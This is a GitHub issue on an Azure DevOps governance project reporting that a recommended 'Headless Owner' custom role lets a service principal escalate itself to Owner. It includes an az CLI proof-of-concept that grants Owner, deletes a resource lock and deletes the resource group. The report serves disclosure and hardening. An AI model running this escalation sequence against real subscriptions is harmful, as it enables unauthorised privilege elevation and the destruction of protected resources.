Azure / Azure/devops-governance

Headless Owner service principal can escalate his privileges

Open
#47 4 comments 0 reactions 0 assignees View on GitHub
concept documentation
Dominant language
HCL
Stars
200
Forks
97
PR merge metrics
No merged PRs in 30d

Description

This is a great project and documentation. In the accompanying article the recommendation is to create a headless owner role for the service principal.
```
{
"Name": "Headless Owner",
"Description": "Can manage infrastructure.",
"actions": [
"*"
],
"notActions": [
"Microsoft.Authorization/*/Delete"
],
"AssignableScopes": [
"/subscriptions/{subscriptionId1}",
"/subscriptions/{subscriptionId2}",
"/providers/Microsoft.Management/managementGroups/{groupId1}"
]
}
```

However, even with these reduced permissions, as long as the `Microsoft.Authorization/roleAssignments/Write` permission is provided, the principal can elevate his own permissions and assign himself the Owner role and then proceed and remove any locks on resources.

`Microsoft.Authorization/roleAssignments/Write` is required if we want to be able to assign permissions to managed identities. Is there a way to achieve that, while avoiding providing owner access to the pipeline service account?

Could an Azure Policy help here to prevent what kind of access our custom role or service principal can assign? Or limit permission assignment only to managed identity principals?

Proof of concept script for escalation is below
```
# Create custom role
az role definition create --role-definition headless-owner.json

# create a resource group
az group create -n test-rg --location canadaeast

# create a lock
az lock create --name cant-delete --resource-group test-rg --lock-type CanNotDelete

# Create service principal with custom role
SPPWD=$(az ad sp create-for-rbac --name sp-pipeline --role "Headless Owner" --query password -o tsv)
SPUSER=$(az ad sp list --display-name sp-pipeline --query [].appId -o tsv)
SPID=$(az ad sp list --display-name sp-pipeline --query [].objectId -o tsv)

# Login using service principal
az login --service-principal -u $SPUSER -p $SPPWD --tenant

# try to delete resource with a lock
az group delete -n test-rg --yes
# OK it fails

# try to remove the lock
az lock delete --name cant-delete --resource-group test-rg
# OK it fails

# Elevate our permissions to owner
az role assignment create --assignee-object-id $SPID --assignee-principal-type ServicePrincipal --role 'Owner' --scope "/subscriptions/"

# try to remove the lock again
az lock delete --name cant-delete --resource-group test-rg
az group delete -n test-rg --yes
# NOT OK was able to remove lock and delete resource group

# cleanup
az login #login with our regular user
az ad sp delete --id $SPID
az role definition delete --name "Headless Owner"

```

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.